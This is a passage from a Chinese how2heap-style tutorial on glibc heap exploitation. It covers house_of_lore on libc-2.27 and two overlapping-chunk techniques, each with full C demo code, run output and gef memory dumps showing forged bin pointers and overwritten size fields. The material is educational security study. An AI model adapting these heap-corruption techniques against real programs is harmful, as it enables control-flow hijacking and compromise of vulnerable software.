==6034==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c00000bf80 at pc 0x000000400eec bp 0x7ffd1fbc5bf0 sp 0x7ffd1fbc5be0
READ of size 8 at 0x60c00000bf80 thread T0
    #0 0x400eeb in main /home/firmy/how2heap/house_of_lore.c:27
    #1 0x7febee33c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #2 0x400b38 in _start (/home/firmy/how2heap/a.out+0x400b38)

最后再给一个 libc-2.27 版本的:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main() {
    intptr_t *victim = malloc(0x80);

    // fill the tcache
    int *a[10];
    int i;
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }
    for (i = 0; i < 7; i++) {
        free(a[i]);
    }

    memset(victim, 'A', 0x80);
    void *p5 = malloc(0x10);
    memset(p5, 'A', 0x10);
    intptr_t *victim_chunk = victim - 2;
    fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim);

    intptr_t* stack_buffer_1[4] = {0};
    intptr_t* stack_buffer_2[6] = {0};
    stack_buffer_1[0] = 0;
    stack_buffer_1[2] = victim_chunk;
    stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    stack_buffer_2[3] = (intptr_t*)stack_buffer_1;    // 3675 bck->fd = bin;

    fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2);

    free((void*)victim);
    fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    void *p2 = malloc(0x100);
    fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2);
    fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim);
    fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    victim[1] = (intptr_t)stack_buffer_1;
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    void *p3 = malloc(0x40);

    // empty the tcache
    for (i = 0; i < 7; i++) {
        a[i] = malloc(0x80);
    }

    char *p4 = malloc(0x80);
    memset(p4, 'A', 0x10);
    fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4);
    fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]);

    intptr_t sc = (intptr_t)jackpot;
    memcpy((p4+0xa8), &sc, 8);
}
$ gcc -g house_of_lore.c
$ ./a.out
Allocated the victim (small) chunk: 0x55674d75f260
stack_buffer_1: 0x7ffff71fb1d0
stack_buffer_2: 0x7ffff71fb1f0

Freeing the victim chunk 0x55674d75f260, it will be inserted in the unsorted bin
victim->fd: 0x7f1eba392b00
victim->bk: 0x7f1eba392b00

Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: 0x55674d75f700
The victim chunk 0x55674d75f260 will be inserted in front of the SmallBin
victim->fd: 0x7f1eba392b80
victim->bk: 0x7f1eba392b80

Now emulating a vulnerability that can overwrite the victim->bk pointer
This last malloc should return a chunk at the position injected in bin->bk: 0x7ffff71fb1e0
The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0

Nice jump d00d

overlapping_chunks

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4;

    p1 = malloc(0x90 - 8);
    p2 = malloc(0x90 - 8);
    p3 = malloc(0x80 - 8);
    memset(p1, 'A', 0x90 - 8);
    memset(p2, 'A', 0x90 - 8);
    memset(p3, 'A', 0x80 - 8);
    fprintf(stderr, "Now we allocate 3 chunks on the heap\n");
    fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3);

    free(p2);
    fprintf(stderr, "Freeing the chunk p2\n");

    int evil_chunk_size = 0x111;
    int evil_region_size = 0x110 - 8;
    *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2
    fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n");

    p4 = malloc(evil_region_size);
    fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size);
    fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80);

    fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n");
    memset(p4, 'B', 0xd0);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n");
    memset(p3, 'C', 0x50);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);
}
$ gcc -g overlapping_chunks.c
$ ./a.out
Now we allocate 3 chunks on the heap
p1=0x1e2b010
p2=0x1e2b0a0
p3=0x1e2b130

Freeing the chunk p2
Emulating an overflow that can overwrite the size of the chunk p2.

p4: 0x1e2b0a0 ~ 0x1e2b8e0
p3: 0x1e2b130 ~ 0x1e2b530

If we memset(p4, 'B', 0xd0), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

If we memset(p3, 'C', 0x50), we have:
p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa

这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size改变下一次 malloc 可以返回的堆块大小。

首先分配三个堆块,然后释放掉中间的一个:

gef➤  x/60gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x0000000000000091  <-- chunk 2 [be freed]
0x6020a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x0000000000000090	0x0000000000000080  <-- chunk 3
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x4141414141414141
0x602150:	0x4141414141414141	0x4141414141414141
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x0000000000020e61  <-- top chunk
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE)

chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。

接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。

gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602090, bk=0x602090
 →   Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE)

这时 unsorted bin 中的数据也更改了。

接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4这会将 chunk 2 和 chunk 3 都包含进来:

gef➤  x/60gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000091  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x0000000000000111  <-- chunk 4
0x6020a0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x0000000000000090	0x0000000000000080  <-- chunk 3
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x4141414141414141
0x602150:	0x4141414141414141	0x4141414141414141
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x0000000000020e61  <-- top chunk
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000

这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。

overlapping_chunks_2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main() {
    intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
    unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
    int prev_in_use = 0x1;

    p1 = malloc(0x10);
    p2 = malloc(0x80);
    p3 = malloc(0x80);
    p4 = malloc(0x80);
    p5 = malloc(0x10);
    real_size_p1 = malloc_usable_size(p1);
    real_size_p2 = malloc_usable_size(p2);
    real_size_p3 = malloc_usable_size(p3);
    real_size_p4 = malloc_usable_size(p4);
    real_size_p5 = malloc_usable_size(p5);
    memset(p1, 'A', real_size_p1);
    memset(p2, 'A', real_size_p2);
    memset(p3, 'A', real_size_p3);
    memset(p4, 'A', real_size_p4);
    memset(p5, 'A', real_size_p5);
    fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n");
    fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1));
    fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2));
    fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3));
    fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4));
    fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5));

    free(p4);
    fprintf(stderr, "\nLet's free the chunk p4\n\n");

    fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n");
    *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE

    free(p2);

    p6 = malloc(0x1b0 - 0x10);
    real_size_p6 = malloc_usable_size(p6);
    fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6);

    fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n");
    fprintf(stderr, "p3 before = %s\n", (char *)p3);
    memset(p6, 'B', 0xd0);
    fprintf(stderr, "p3 after  = %s\n", (char *)p3);
}
$ gcc -g overlapping_chunks_2.c
$ ./a.out
Now we allocate 5 chunks on the heap

chunk p1: 0x18c2010 ~ 0x18c2028
chunk p2: 0x18c2030 ~ 0x18c20b8
chunk p3: 0x18c20c0 ~ 0x18c2148
chunk p4: 0x18c2150 ~ 0x18c21d8
chunk p5: 0x18c21e0 ~ 0x18c21f8

Let's free the chunk p4

Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)

Allocating a new chunk 6: 0x18c2030 ~ 0x18c21d8

Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)
p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>
p3 after  = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<41>

同样是堆块重叠的问题,前面那个是在 chunk 已经被 free加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。

我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值:

gef➤  x/70gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x0000000000000091  <-- chunk 2
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x0000000000000091  <-- chunk 3
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x4141414141414141	0x4141414141414141
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x0000000000000091  <-- chunk 4 [be freed]
0x602150:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x4141414141414141
0x6021b0:	0x4141414141414141	0x4141414141414141
0x6021c0:	0x4141414141414141	0x4141414141414141
0x6021d0:	0x0000000000000090	0x0000000000000020  <-- chunk 5 <-- prev_size
0x6021e0:	0x4141414141414141	0x4141414141414141
0x6021f0:	0x4141414141414141	0x0000000000020e11  <-- top chunk
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602140, bk=0x602140
 →   Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE)

free chunk 4 被放入 unsorted bin大小为 0x90。

接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121最后的 1 是标志位。这样当我们释放 chunk 2 的时候malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk放进 unsorted bin 中。

gef➤  x/70gx 0x602010-0x10
0x602000:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x00000000000001b1  <-- chunk 2 [be freed] <-- unsorted bin
0x602030:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x0000000000000091  <-- chunk 3
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4141414141414141
0x602120:	0x4141414141414141	0x4141414141414141
0x602130:	0x4141414141414141	0x4141414141414141
0x602140:	0x4141414141414141	0x0000000000000091  <-- chunk 4 [be freed]
0x602150:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
0x602160:	0x4141414141414141	0x4141414141414141
0x602170:	0x4141414141414141	0x4141414141414141
0x602180:	0x4141414141414141	0x4141414141414141
0x602190:	0x4141414141414141	0x4141414141414141
0x6021a0:	0x4141414141414141	0x4141414141414141
0x6021b0:	0x4141414141414141	0x4141414141414141
0x6021c0:	0x4141414141414141	0x4141414141414141
0x6021d0:	0x00000000000001b0	0x0000000000000020  <-- chunk 5 <-- prev_size
0x6021e0:	0x4141414141414141	0x4141414141414141
0x6021f0:	0x4141414141414141	0x0000000000020e11  <-- top chunk
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000000000
0x602220:	0x0000000000000000	0x0000000000000000
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602020, bk=0x602020
 →   Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE)

现在 unsorted bin 里的 chunk 的大小为 0x1b0即 0x90*3。咦所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。

最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。